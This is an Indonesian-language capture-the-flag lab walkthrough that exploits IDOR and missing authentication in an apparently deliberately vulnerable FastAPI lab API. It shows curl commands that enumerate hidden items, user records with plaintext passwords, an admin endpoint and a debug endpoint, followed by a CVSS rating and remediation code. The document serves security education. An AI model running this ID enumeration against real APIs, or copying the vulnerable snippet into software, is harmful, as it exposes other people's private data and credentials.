REST API - IDOR
Target:
api-vuln.vuln.cybersecurity.or.id
Tools:curl,jq
Level: Pemula
Aplikasi: FastAPI (Python 3.11) + SQLite
Objective
Memanfaatkan kerentanan IDOR (Insecure Direct Object Reference) untuk mengakses data privat milik pengguna lain dan mengekstrak informasi sensitif dari REST API.
Reconnaissance
1.1. Discovery Endpoint
Lakukan scanning terhadap endpoint yang tersedia menggunakan dokumentasi Swagger:
curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/docs | head -5
Output:
<!DOCTYPE html>
<html>
<head><title>FastAPI - Swagger UI</title></head>
FastAPI menyediakan dokumentasi Swagger otomatis di
/docs - ini adalah information
disclosure yang memudahkan attacker.
1.2. Identifikasi Endpoint Publik
Dari Swagger, ditemukan beberapa endpoint tanpa autentikasi:
| Method | Endpoint | Deskripsi |
|---|---|---|
GET |
/api/items |
Daftar semua item (publik) |
GET |
/api/items/{id} |
Detail item berdasarkan ID |
GET |
/api/users |
Daftar semua user |
GET |
/api/users/{id} |
Detail user berdasarkan ID |
GET |
/api/admin/users |
Semua user (admin) |
POST |
/api/login |
Login |
GET |
/api/debug/info |
Informasi debug sistem |
Tidak ada satu pun endpoint yang membutuhkan token autentikasi!
Exploitation
2.1. Akses Item Publik
Pertama, lihat daftar item yang terlihat:
curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/items | jq
Output - hanya 5 item publik:
[
{"id":1,"title":"Laptop","description":"Laptop Dell","is_visible":1,"owner_id":1},
{"id":2,"title":"Buku","description":"Buku Programming","is_visible":1,"owner_id":1},
{"id":6,"title":"Meja","description":"Meja Kayu","is_visible":1,"owner_id":2},
{"id":7,"title":"Kursi","description":"Kursi Kantor","is_visible":1,"owner_id":2},
{"id":8,"title":"Monitor","description":"Monitor 24 inch","is_visible":1,"owner_id":3}
]
Perhatikan bahwa item ID 3, 4, 5 tidak muncul - kemungkinan disembunyikan (is_visible=0).
2.2. IDOR - Akses Item Tersembunyi
Kita coba akses langsung item berdasarkan ID:
curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/items/3 | jq
curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/items/4 | jq
curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/items/5 | jq
Output - item rahasia berhasil diakses:
{
"id": 3,
"title": "Rahasia Admin",
"description": "Hanya admin yang bisa melihat ini",
"is_visible": 0,
"owner_id": 1
}
{
"id": 4,
"title": "Data Internal Perusahaan",
"description": "Berisi strategi bisnis rahasia",
"is_visible": 0,
"owner_id": 1
}
{
"id": 5,
"title": "Server Credentials",
"description": "Credentials: admin:SuperSecret123",
"is_visible": 0,
"owner_id": 1
}
✅ IDOR berhasil! Item dengan status
is_visible=0 (tersembunyi) bisa diakses hanya dengan
mengganti ID di URL.
2.3. IDOR - Akses Data User Lain
Endpoint /api/users/{id} juga tidak memiliki proteksi:
curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/users/1 | jq
curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/users/2 | jq
curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/users/3 | jq
Output - data semua user terekspos:
Perhatikan bahwa password hash disimpan dalam bentuk plaintext - bukan hash sebenarnya.
2.4. Akses Admin Endpoint
Endpoint admin juga tidak memiliki proteksi:
curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/admin/users | jq
Output - semua data user dari endpoint admin:
[
{"id":1,"username":"admin","password_hash":"admin123","is_admin":1},
{"id":2,"username":"user1","password_hash":"pass123","is_admin":0},
{"id":3,"username":"user2","password_hash":"pass456","is_admin":0}
]
2.5. Debug Information Disclosure
Endpoint debug membeberkan informasi sistem yang sensitif:
curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/debug/info | jq
Output - environment variables dan paths:
{
"env": {
"PATH": "/usr/local/bin:/usr/bin:/bin",
"PYTHON_VERSION": "3.11.15",
"HOME": "/root"
},
"cwd": "/app",
"files": ["tmp", "boot", "proc", "var", "etc", "root"]
}
Evidence
Screenshot 1: IDOR - Akses Item Tersembunyi

Gambar: Output curl yang menampilkan item dengan is_visible=0 yang berisi data rahasia.
Screenshot 2: Data User Tanpa Autentikasi

Gambar: Data semua user termasuk password hash yang bisa diakses hanya dengan mengganti ID di URL.
Ringkasan Kerentanan
| Endpoint | Masalah | Dampak |
|---|---|---|
/api/items/{id} |
IDOR | Akses item tersembunyi |
/api/users/{id} |
IDOR | Data user lain terbaca |
/api/admin/users |
No Auth | Semua data admin |
/api/debug/info |
Info Disclosure | Path sistem dan env |
️ Risk Assessment (CVSS 3.1)
| Metrik | Nilai | Keterangan |
|---|---|---|
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
|
|
| Base Score | 7.5 (High) | |
| Attack Vector (AV) | Network | Serangan dari jarak jauh |
| Attack Complexity (AC) | Low | Cukup ubah ID numerik |
| Privileges Required (PR) | None | Tanpa perlu login |
| User Interaction (UI) | None | Otomatis, scriptable |
| Confidentiality (C) | High | Semua data bisa dibaca |
| Integrity (I) | Low | Data bisa dimodifikasi |
| Availability (A) | None | Tidak berdampak langsung |
Klasifikasi OWASP
| OWASP Top 10 | Kategori |
|---|---|
| A01: Broken Access Control | IDOR - akses data tanpa otorisasi |
| A05: Security Misconfiguration | Debug endpoint terbuka untuk publik |
️ Remediation
1. Implementasi Authorisasi di Setiap Endpoint
❌ Kode rentan:
@app.get("/api/items/{item_id}")
async def get_item(item_id: int):
q = "SELECT * FROM items WHERE id=?"
return await db.fetch_one(q, (item_id,))
✅ Kode aman - verifikasi kepemilikan:
@app.get("/api/items/{item_id}")
async def get_item(item_id: int, user: User = Depends(get_current_user)):
q = "SELECT * FROM items WHERE id=? AND (is_visible=1 OR owner_id=?)"
item = await db.fetch_one(q, (item_id, user.id))
if not item:
raise HTTPException(status_code=404)
return item
2. Gunakan UUID sebagai Pengganti ID Numerik
❌ ID numerik mudah ditebak:
/items/1, /items/2, /items/3 # Bisa brute-force
✅ UUID sulit ditebak:
/items/a1b2c3d4-e5f6-7890-abcd-ef1234567890
3. Autentikasi Wajib di Semua Endpoint
@app.middleware("http")
async def auth_middleware(request: Request, call_next):
# Kecualikan endpoint publik tertentu
public_endpoints = ["/docs", "/openapi.json", "/api/login"]
if request.url.path not in public_endpoints:
token = request.headers.get("Authorization")
if not token or not verify_token(token):
return JSONResponse({"error": "unauthorized"}, status_code=401)
return await call_next(request)
4. Hapus Debug Endpoint di Production
❌ Jangan pernah ekspos debug endpoint:
@app.get("/api/debug/info") # HAPUS di production!
async def debug_info():
return {"env": dict(os.environ), "cwd": os.getcwd()}
5. Hash Password dengan Algoritma Kuat
❌ Plaintext:
user.password = password # JANGAN!
✅ BCrypt hash:
from passlib.hash import bcrypt
user.password_hash = bcrypt.hash(password)
References
- OWASP A01: Broken Access Control
- OWASP IDOR
- CWE-639: Authorization Bypass Through User-Controlled Key
- FastAPI Security
- REST API Security Cheat Sheet
Walkthrough ini disusun untuk tujuan edukasi keamanan siber.
TDCTF Security Academy - Cybersecurity Indonesia